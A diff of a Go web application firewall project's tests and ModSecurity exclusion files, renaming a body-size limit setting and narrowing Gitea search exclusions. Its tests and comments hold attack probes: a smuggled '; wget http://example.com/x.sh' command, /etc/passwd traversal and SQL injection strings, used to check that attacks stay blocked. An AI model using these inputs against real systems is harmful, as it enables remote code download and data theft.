for _, field := range []string{"title", "excerpt", "name"} {
|
for _, field := range []string{"title", "excerpt", "name"} {
|
||||||
@@ -2257,7 +2254,7 @@ func TestWordPressExclusionsAreNarrow(t *testing.T) {
|
|||||||
length = "Content-Length: 2"
|
length = "Content-Length: 2"
|
||||||
)
|
)
|
||||||
|
|
||||||
crs := readingBodiesUpTo8K(t)
|
crs := readingBodiesUpTo64K(t)
|
||||||
saving := request{
|
saving := request{
|
||||||
http.MethodPost,
|
http.MethodPost,
|
||||||
wpPost,
|
wpPost,
|
||||||
@@ -2313,9 +2310,8 @@ func TestWordPressExclusionsAreNarrow(t *testing.T) {
|
|||||||
wantBody(t, crs, signIn, body, matched(930120), body)
|
wantBody(t, crs, signIn, body, matched(930120), body)
|
||||||
}
|
}
|
||||||
|
|
||||||
// bodyInspectionSize is SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE in the
|
// bodyLimit is SWW_WAF_CORE_RULE_SET_BODY_LIMIT in the tests that read bodies.
|
||||||
// tests that read bodies.
|
const bodyLimit = 8 << 10
|
||||||
const bodyInspectionSize = 8 << 10
|
|
||||||
|
|
||||||
// The Content-Type headers of the kinds of body the Core Rule Set reads.
|
// The Content-Type headers of the kinds of body the Core Rule Set reads.
|
||||||
const (
|
const (
|
||||||
@@ -2338,13 +2334,12 @@ const pathTraversal = "../../etc/passwd"
|
|||||||
const shellCommand = "; wget http://example.com/x.sh"
|
const shellCommand = "; wget http://example.com/x.sh"
|
||||||
|
|
||||||
// readingBodies returns the Core Rule Set as sww runs it by
|
// readingBodies returns the Core Rule Set as sww runs it by
|
||||||
// default, but reading bodies up to bodyInspectionSize.
|
// default, but reading bodies up to bodyLimit.
|
||||||
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
|
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
return shared(t, coreruleset.Params{
|
return shared(t, coreruleset.Params{
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
||||||
BodyInspectionSize: bodyInspectionSize,
|
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -2398,7 +2393,7 @@ func wantBody(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestBodiesAreReadOnlyWhileBodyInspectionSizeIsSet(t *testing.T) {
|
func TestBodiesAreReadOnlyWhileBodyLimitIsSet(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
off, on := atDefaults(t), readingBodies(t)
|
off, on := atDefaults(t), readingBodies(t)
|
||||||
@@ -2418,7 +2413,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
crs := readingBodies(t)
|
crs := readingBodies(t)
|
||||||
pad := strings.Repeat("a", bodyInspectionSize)
|
pad := strings.Repeat("a", bodyLimit)
|
||||||
|
|
||||||
for _, tc := range []struct{ header, attackFirst, attackLast string }{
|
for _, tc := range []struct{ header, attackFirst, attackLast string }{
|
||||||
{
|
{
|
||||||
@@ -2431,20 +2426,20 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
|
|||||||
},
|
},
|
||||||
} {
|
} {
|
||||||
wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100),
|
wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100),
|
||||||
tc.attackFirst[:bodyInspectionSize+1])
|
tc.attackFirst[:bodyLimit+1])
|
||||||
wantBody(
|
wantBody(
|
||||||
t,
|
t,
|
||||||
crs,
|
crs,
|
||||||
post(tc.header),
|
post(tc.header),
|
||||||
tc.attackLast,
|
tc.attackLast,
|
||||||
coreruleset.Result{},
|
coreruleset.Result{},
|
||||||
tc.attackLast[:bodyInspectionSize+1],
|
tc.attackLast[:bodyLimit+1],
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// To the byte: a system file's path is found when it ends at the limit,
|
// To the byte: a system file's path is found when it ends at the limit,
|
||||||
// and not when its last letter is past it, which is still read.
|
// and not when its last letter is past it, which is still read.
|
||||||
atLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize)
|
atLimit := padded("pad=", "&q=/etc/passwd", bodyLimit)
|
||||||
wantBody(
|
wantBody(
|
||||||
t,
|
t,
|
||||||
crs,
|
crs,
|
||||||
@@ -2454,7 +2449,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
|
|||||||
atLimit,
|
atLimit,
|
||||||
)
|
)
|
||||||
|
|
||||||
pastLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize+1)
|
pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1)
|
||||||
wantBody(
|
wantBody(
|
||||||
t,
|
t,
|
||||||
crs,
|
crs,
|
||||||
@@ -2468,35 +2463,19 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
|
|||||||
func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) {
|
func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// The limit is the body inspection size, but at most mostJSONRead for
|
crs := readingBodies(t)
|
||||||
// JSON. smallSize is a body inspection size under mostJSONRead.
|
|
||||||
const smallSize = 512
|
|
||||||
|
|
||||||
bodies, smallBodies := readingBodies(t), shared(t, coreruleset.Params{
|
for _, tc := range []struct{ header, head, tail string }{
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
{jsonBody, `{"q":"` + injection + `","pad":"`, `"}`},
|
||||||
BodyInspectionSize: smallSize,
|
{xmlBody, "<r><q>" + injection + "</q><pad>", "</pad></r>"},
|
||||||
})
|
|
||||||
jsonHead, jsonTail := `{"q":"`+injection+`","pad":"`, `"}`
|
|
||||||
|
|
||||||
for _, tc := range []struct {
|
|
||||||
crs *coreruleset.CoreRuleSet
|
|
||||||
header, head, tail string
|
|
||||||
limit int
|
|
||||||
}{
|
|
||||||
{bodies, jsonBody, jsonHead, jsonTail, mostJSONRead},
|
|
||||||
{smallBodies, jsonBody, jsonHead, jsonTail, smallSize},
|
|
||||||
{
|
|
||||||
bodies, xmlBody, "<r><q>" + injection + "</q><pad>", "</pad></r>",
|
|
||||||
bodyInspectionSize,
|
|
||||||
},
|
|
||||||
} {
|
} {
|
||||||
fits := padded(tc.head, tc.tail, tc.limit)
|
fits := padded(tc.head, tc.tail, bodyLimit)
|
||||||
wantBody(t, tc.crs, post(tc.header), fits, matched(942100), fits)
|
wantBody(t, crs, post(tc.header), fits, matched(942100), fits)
|
||||||
|
|
||||||
larger := padded(tc.head, tc.tail, tc.limit+1)
|
larger := padded(tc.head, tc.tail, bodyLimit+1)
|
||||||
wantBody(
|
wantBody(
|
||||||
t,
|
t,
|
||||||
tc.crs,
|
crs,
|
||||||
post(tc.header),
|
post(tc.header),
|
||||||
larger,
|
larger,
|
||||||
coreruleset.Result{},
|
coreruleset.Result{},
|
||||||
@@ -2550,7 +2529,7 @@ func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(
|
|||||||
|
|
||||||
// Whatever its size: a JSON body larger than the limit is not read, but
|
// Whatever its size: a JSON body larger than the limit is not read, but
|
||||||
// Content-Encoding on it is refused all the same.
|
// Content-Encoding on it is refused all the same.
|
||||||
larger := strings.Repeat("a", bodyInspectionSize+1)
|
larger := strings.Repeat("a", bodyLimit+1)
|
||||||
wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger)
|
wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger)
|
||||||
|
|
||||||
// It is allowed on a body of any other kind, and on every body while no
|
// It is allowed on a body of any other kind, and on every body while no
|
||||||
@@ -2769,7 +2748,7 @@ func giteaBranchNamesInBodies() []nameInBody {
|
|||||||
func TestGiteaNamesInBodiesStillRefuseAttacks(t *testing.T) {
|
func TestGiteaNamesInBodiesStillRefuseAttacks(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
crs := readingBodies(t)
|
crs := readingBodies(t)
|
||||||
|
|
||||||
@@ -2870,7 +2849,7 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
|
|||||||
// that has no colon, before the attack. They do so padded past the
|
// that has no colon, before the attack. They do so padded past the
|
||||||
// limit too, which cuts them in the padding.
|
// limit too, which cuts them in the padding.
|
||||||
noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n"
|
noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n"
|
||||||
pad := field("pad", strings.Repeat("a", bodyInspectionSize))
|
pad := field("pad", strings.Repeat("a", bodyLimit))
|
||||||
|
|
||||||
for _, tc := range []struct{ header, head string }{
|
for _, tc := range []struct{ header, head string }{
|
||||||
{multipart + "; boundary=c", ""},
|
{multipart + "; boundary=c", ""},
|
||||||
@@ -2888,7 +2867,7 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
|
|||||||
|
|
||||||
body = tc.head + field("q", injection) + pad + end
|
body = tc.head + field("q", injection) + pad + end
|
||||||
wantBody(t, crs, post(tc.header), body, matched(900440, 900450),
|
wantBody(t, crs, post(tc.header), body, matched(900440, 900450),
|
||||||
body[:bodyInspectionSize+1])
|
body[:bodyLimit+1])
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -2901,10 +2880,7 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
|
|||||||
cut := "--b\r\nContent-Di"
|
cut := "--b\r\nContent-Di"
|
||||||
first := field(
|
first := field(
|
||||||
"pad",
|
"pad",
|
||||||
strings.Repeat(
|
strings.Repeat("a", bodyLimit-len(field("pad", ""))-len(cut)),
|
||||||
"a",
|
|
||||||
bodyInspectionSize-len(field("pad", ""))-len(cut),
|
|
||||||
),
|
|
||||||
)
|
)
|
||||||
body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end
|
body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end
|
||||||
|
|
||||||
@@ -2914,7 +2890,7 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
|
|||||||
post(multipart),
|
post(multipart),
|
||||||
body,
|
body,
|
||||||
matched(900440, 900450),
|
matched(900440, 900450),
|
||||||
body[:bodyInspectionSize+1],
|
body[:bodyLimit+1],
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -2933,15 +2909,12 @@ func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch(
|
|||||||
for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} {
|
for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} {
|
||||||
first := field(
|
first := field(
|
||||||
"pad",
|
"pad",
|
||||||
strings.Repeat(
|
strings.Repeat("a", bodyLimit-len(field("pad", ""))-cut),
|
||||||
"a",
|
|
||||||
bodyInspectionSize-len(field("pad", ""))-cut,
|
|
||||||
),
|
|
||||||
)
|
)
|
||||||
body := first + field("q", "1") + end
|
body := first + field("q", "1") + end
|
||||||
|
|
||||||
wantBody(t, crs, post(multipart), body, matched(900440, 900450),
|
wantBody(t, crs, post(multipart), body, matched(900440, 900450),
|
||||||
body[:bodyInspectionSize+1])
|
body[:bodyLimit+1])
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -2956,8 +2929,7 @@ func TestCorazaWritesNoFile(t *testing.T) {
|
|||||||
// The test loads its own Core Rule Set, since loading is part of what
|
// The test loads its own Core Rule Set, since loading is part of what
|
||||||
// it checks.
|
// it checks.
|
||||||
crs, err := coreruleset.New(coreruleset.Params{
|
crs, err := coreruleset.New(coreruleset.Params{
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
||||||
BodyInspectionSize: bodyInspectionSize,
|
|
||||||
})
|
})
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("load the Core Rule Set: %v", err)
|
t.Fatalf("load the Core Rule Set: %v", err)
|
||||||
@@ -2969,11 +2941,11 @@ func TestCorazaWritesNoFile(t *testing.T) {
|
|||||||
wantBody(t, crs, post(multipart), body, matched(942100), body)
|
wantBody(t, crs, post(multipart), body, matched(942100), body)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestBodyInspectionSizeOf1GLoads(t *testing.T) {
|
func TestBodyLimitOf1GLoads(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
_, err := coreruleset.New(
|
_, err := coreruleset.New(
|
||||||
coreruleset.Params{ParanoiaLevel: 1, BodyInspectionSize: 1 << 30},
|
coreruleset.Params{ParanoiaLevel: 1, BodyLimit: 1 << 30},
|
||||||
)
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Errorf("load the Core Rule Set reading bodies up to 1G: %v", err)
|
t.Errorf("load the Core Rule Set reading bodies up to 1G: %v", err)
|
||||||
|
|||||||
@@ -4,7 +4,7 @@
|
|||||||
# request, before the rules it switches off, so this file is loaded before the
|
# request, before the rules it switches off, so this file is loaded before the
|
||||||
# Core Rule Set's rules. Each comment names a request a rule refused. An
|
# Core Rule Set's rules. Each comment names a request a rule refused. An
|
||||||
# exclusion on a field of a body applies only when the query has no parameter
|
# exclusion on a field of a body applies only when the query has no parameter
|
||||||
# of that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is
|
# of that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is
|
||||||
# set. The exclusions above the comment "The fields below are in bodies" also
|
# set. The exclusions above the comment "The fields below are in bodies" also
|
||||||
# cover a body field of the same name whatever the query holds, and only those
|
# cover a body field of the same name whatever the query holds, and only those
|
||||||
# below it need a query without that name.
|
# below it need a query without that name.
|
||||||
|
|||||||
@@ -9,7 +9,7 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
)
|
)
|
||||||
|
|
||||||
// drupalThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
|
// drupalThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
|
||||||
const drupalThreshold = 5
|
const drupalThreshold = 5
|
||||||
|
|
||||||
// drupalAddArticle is Drupal's form for a new article.
|
// drupalAddArticle is Drupal's form for a new article.
|
||||||
|
|||||||
@@ -132,7 +132,7 @@ SecRule REQUEST_FILENAME "@streq /admin/repos" \
|
|||||||
# They skip these rules:
|
# They skip these rules:
|
||||||
# 932120: fix-powershell-module
|
# 932120: fix-powershell-module
|
||||||
# 932260: feat/docker-support
|
# 932260: feat/docker-support
|
||||||
# They are read only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set, and skip
|
# They are read only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set, and skip
|
||||||
# nothing when the query has a parameter of the same name.
|
# nothing when the query has a parameter of the same name.
|
||||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/rename_branch$" \
|
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/rename_branch$" \
|
||||||
"id:900666,phase:1,pass,nolog,chain"
|
"id:900666,phase:1,pass,nolog,chain"
|
||||||
|
|||||||
@@ -91,7 +91,7 @@ var forgejoAttacks = []string{
|
|||||||
func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) {
|
func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
defaults, bodies := atDefaults(t), readingBodies(t)
|
defaults, bodies := atDefaults(t), readingBodies(t)
|
||||||
|
|
||||||
@@ -113,7 +113,7 @@ func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) {
|
|||||||
func TestForgejoExclusionsAreNarrow(t *testing.T) {
|
func TestForgejoExclusionsAreNarrow(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
crs := atDefaults(t)
|
crs := atDefaults(t)
|
||||||
|
|
||||||
@@ -145,7 +145,7 @@ func TestForgejoExclusionsAreNarrow(t *testing.T) {
|
|||||||
"/alice/-/packages/npm/x?q=",
|
"/alice/-/packages/npm/x?q=",
|
||||||
"/alice/tools/branches?other=",
|
"/alice/tools/branches?other=",
|
||||||
} {
|
} {
|
||||||
for _, value := range slices.Concat([]string{binSh}, hardValues) {
|
for _, value := range slices.Concat([]string{"%2Fbin%2Fsh"}, hardValues) {
|
||||||
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
|
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
|
||||||
t.Errorf("%s%s let through: %+v", target, value, got)
|
t.Errorf("%s%s let through: %+v", target, value, got)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -3,7 +3,7 @@
|
|||||||
# rules it switches off, so this file is loaded before the Core Rule Set's
|
# rules it switches off, so this file is loaded before the Core Rule Set's
|
||||||
# rules. Each comment names a request a rule refused. An exclusion on a field of
|
# rules. Each comment names a request a rule refused. An exclusion on a field of
|
||||||
# a body applies only when the query has no parameter of that name, so it
|
# a body applies only when the query has no parameter of that name, so it
|
||||||
# matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
|
# matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
|
||||||
#
|
#
|
||||||
# Ghost's admin and its integrations call the Admin API under /ghost/api/admin/,
|
# Ghost's admin and its integrations call the Admin API under /ghost/api/admin/,
|
||||||
# themes and Ghost's own scripts call the Content API under /ghost/api/content/,
|
# themes and Ghost's own scripts call the Content API under /ghost/api/content/,
|
||||||
|
|||||||
@@ -11,7 +11,7 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
)
|
)
|
||||||
|
|
||||||
// ghostThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
|
// ghostThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
|
||||||
const ghostThreshold = 5
|
const ghostThreshold = 5
|
||||||
|
|
||||||
// Paths of Ghost's Admin API, Content API and members' API.
|
// Paths of Ghost's Admin API, Content API and members' API.
|
||||||
|
|||||||
@@ -172,13 +172,11 @@ SecRule REQUEST_FILENAME "@rx ^/(?:explore/repos|user/search_candidates|\
|
|||||||
|
|
||||||
# A branch, tag or package name can hold a slash, as feat/docker-support and
|
# A branch, tag or package name can hold a slash, as feat/docker-support and
|
||||||
# npm's @scope/name do. So q on a repository's branches, tags and packages
|
# npm's @scope/name do. So q on a repository's branches, tags and packages
|
||||||
# pages, on an owner's packages page, on the admin page of packages, on the
|
# pages, on an owner's packages page and on the admin page of packages also
|
||||||
# API's search of packages and on the Composer and Conan registries' searches
|
# skips this rule:
|
||||||
# also skips this rule:
|
|
||||||
# 932160: /bin/sh
|
# 932160: /bin/sh
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/[^/]+/(?:branches|tags|packages)|\
|
SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/[^/]+/(?:branches|tags|packages)|\
|
||||||
admin/packages|api/v1/packages/[^/]+|\
|
admin/packages)$" \
|
||||||
api/packages/[^/]+/(?:composer/search\.json|conan/v[12]/conans/search))$" \
|
|
||||||
"id:900605,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932160;ARGS:q"
|
"id:900605,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932160;ARGS:q"
|
||||||
|
|
||||||
# gitea's other searches send a name or a few words in q too, which skips only
|
# gitea's other searches send a name or a few words in q too, which skips only
|
||||||
@@ -190,11 +188,7 @@ SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/[^/]+/(?:branches|tags|packages)|\
|
|||||||
# The searches:
|
# The searches:
|
||||||
# - the dashboard's filter of repositories;
|
# - the dashboard's filter of repositories;
|
||||||
# - the author filter of the issue and pull request lists;
|
# - the author filter of the issue and pull request lists;
|
||||||
# - the lists of users and organisations;
|
# - the lists of users and organisations, and the API's search for users;
|
||||||
# - the API's searches of users, of topics, of an organisation's teams and of
|
|
||||||
# emails;
|
|
||||||
# - the searches of the Cargo, Chef, Composer and Conan registries, and the
|
|
||||||
# NuGet registry's search service;
|
|
||||||
# - the list of repositories a user watches;
|
# - the list of repositories a user watches;
|
||||||
# - an organisation's milestones of one team, and its search for teams;
|
# - an organisation's milestones of one team, and its search for teams;
|
||||||
# - the milestones of a repository or an organisation, and the projects of a
|
# - the milestones of a repository or an organisation, and the projects of a
|
||||||
@@ -211,11 +205,7 @@ SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/[^/]+/(?:branches|tags|packages)|\
|
|||||||
# versions holds the package's name, which can hold a slash, as npm's
|
# versions holds the package's name, which can hold a slash, as npm's
|
||||||
# @scope/name does.
|
# @scope/name does.
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:repo/search|notifications/watching|\
|
SecRule REQUEST_FILENAME "@rx ^/(?:repo/search|notifications/watching|\
|
||||||
explore/(?:users|organizations)|\
|
explore/(?:users|organizations)|api/v1/users/search|\
|
||||||
api/v1/(?:users/search|topics/search|orgs/[^/]+/teams/search|\
|
|
||||||
admin/emails/search)|\
|
|
||||||
api/packages/[^/]+/(?:cargo/api/v1/crates|chef/api/v1/(?:search|cookbooks)|\
|
|
||||||
composer/search\.json|conan/v[12]/conans/search|nuget/query)|\
|
|
||||||
org/[^/]+/(?:milestones/[^/]+|teams/-/search)|\
|
org/[^/]+/(?:milestones/[^/]+|teams/-/search)|\
|
||||||
[^/]+/-/packages/[^/]+/.+/versions|\
|
[^/]+/-/packages/[^/]+/.+/versions|\
|
||||||
[^/]+/[^/]+/(?:(?:issues|pulls)/posters|issues/suggestions|milestones|\
|
[^/]+/[^/]+/(?:(?:issues|pulls)/posters|issues/suggestions|milestones|\
|
||||||
@@ -229,99 +219,6 @@ SecRule REQUEST_FILENAME "@rx ^/(?:repo/search|notifications/watching|\
|
|||||||
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
||||||
|
|
||||||
# Two of the API's searches send their words in a field other than q, which
|
|
||||||
# skips these rules there:
|
|
||||||
# 930120: .htaccess
|
|
||||||
# 932120: powershell
|
|
||||||
# 932250: ls -la
|
|
||||||
# 932260: python3, alice/python3-app
|
|
||||||
# The search of unadopted repositories sends an owner and a name, such as
|
|
||||||
# alice/python3-app, in query.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/api/v1/admin/unadopted$" \
|
|
||||||
"id:900607,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:query,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:query,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:query,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:query"
|
|
||||||
|
|
||||||
# The search of a repository's milestones sends a milestone's name in name.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/milestones$" \
|
|
||||||
"id:900608,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:name,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:name,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:name,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:name"
|
|
||||||
|
|
||||||
# The npm registry's search sends its words in text, which skips these rules
|
|
||||||
# there:
|
|
||||||
# 930120: .htaccess
|
|
||||||
# 932120: powershell
|
|
||||||
# 932160: /bin/sh, as an npm name such as @alice/tools-cli holds a slash
|
|
||||||
# 932250: ls -la
|
|
||||||
# 932260: python3
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/api/packages/[^/]+/npm/-/v1/search$" \
|
|
||||||
"id:900609,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:text,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:text,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:text,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:text,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:text"
|
|
||||||
|
|
||||||
# A Conan search takes a pattern such as zlib/*, which the rule for SQL
|
|
||||||
# injection (942100) refused in q. q skips that rule only when the request has
|
|
||||||
# one q, in the query string or the body, with the shape of a Conan reference.
|
|
||||||
# A reference is a name, then optionally / and a version, then optionally @
|
|
||||||
# and a user, then optionally / and a channel. Each part is made of letters,
|
|
||||||
# digits, _, ., - and *. A part holds no +, since 942100 reads + as a space.
|
|
||||||
# q must also hold no */, which ends an SQL comment, and no --, which starts
|
|
||||||
# one. Last, 942100 must find no SQL injection in q once each comment that /*
|
|
||||||
# starts, an unclosed one included, is replaced by a space. So zlib/* passes,
|
|
||||||
# and SQL injection such as these stays refused:
|
|
||||||
# 1' OR '1'='1
|
|
||||||
# 1/**/or/**/1
|
|
||||||
# 1/*@*/or-1
|
|
||||||
# 1+or+1--
|
|
||||||
# 1-or-1--
|
|
||||||
# x/1.or.1
|
|
||||||
# 1.having.1
|
|
||||||
# This rule is in phase 2, because a phase 1 rule runs before the body is read
|
|
||||||
# and cannot see a q there. It checks tx.app_gitea, since the skip above does
|
|
||||||
# not reach phase 2.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/api/packages/[^/]+/conan/v[12]/conans/search$" \
|
|
||||||
"id:900611,phase:2,pass,nolog,chain"
|
|
||||||
SecRule &TX:app_gitea "@eq 1" "chain"
|
|
||||||
SecRule &ARGS:q "@eq 1" "chain"
|
|
||||||
SecRule ARGS:q "!@contains */" "chain"
|
|
||||||
SecRule ARGS:q "!@contains --" "chain"
|
|
||||||
SecRule ARGS:q "!@detectSQLi" "t:none,t:replaceComments,chain"
|
|
||||||
SecRule ARGS:q "@rx ^[\w.*-]+(?:/[\w.*-]+)?(?:@[\w.*-]+(?:/[\w.*-]+)?)?$" \
|
|
||||||
"ctl:ruleRemoveTargetById=942100;ARGS:q"
|
|
||||||
|
|
||||||
# The NuGet v2 API's searches, Search() and Packages(), send their words in
|
|
||||||
# searchTerm, or in $filter as an expression such as
|
|
||||||
# tolower(Id) eq 'python3'. Search()/$count and Packages()/$count count a
|
|
||||||
# search's results and read the same fields. searchTerm skips these rules:
|
|
||||||
# 930120: .htaccess
|
|
||||||
# 932120: powershell
|
|
||||||
# 932250: ls -la
|
|
||||||
# 932260: python3
|
|
||||||
# $filter skips these:
|
|
||||||
# 930120: .htaccess
|
|
||||||
# 932120: powershell
|
|
||||||
# The names $filter, $orderby and $top skip the rule for MongoDB operators
|
|
||||||
# (942290), which refused every such search.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/api/packages/[^/]+/nuget/(?:Search|Packages)\(\)(?:/\$count)?$" \
|
|
||||||
"id:900612,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:searchTerm,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:searchTerm,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:searchTerm,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:searchTerm,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:$filter,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:$filter,\
|
|
||||||
ctl:ruleRemoveTargetById=942290;ARGS_NAMES:$filter,\
|
|
||||||
ctl:ruleRemoveTargetById=942290;ARGS_NAMES:$orderby,\
|
|
||||||
ctl:ruleRemoveTargetById=942290;ARGS_NAMES:$top"
|
|
||||||
|
|
||||||
# The repositories on a user's or an organisation's page are searched with q
|
# The repositories on a user's or an organisation's page are searched with q
|
||||||
# too. Their path has one segment, so q skips these rules on every path of one
|
# too. Their path has one segment, so q skips these rules on every path of one
|
||||||
# segment, other apps' pages such as /index.php included:
|
# segment, other apps' pages such as /index.php included:
|
||||||
@@ -497,7 +394,7 @@ SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/lastcommit/" \
|
|||||||
"id:900633,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:refSubUrl"
|
"id:900633,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:refSubUrl"
|
||||||
|
|
||||||
# The requests below name a file or a branch in a body field, which is read only
|
# The requests below name a file or a branch in a body field, which is read only
|
||||||
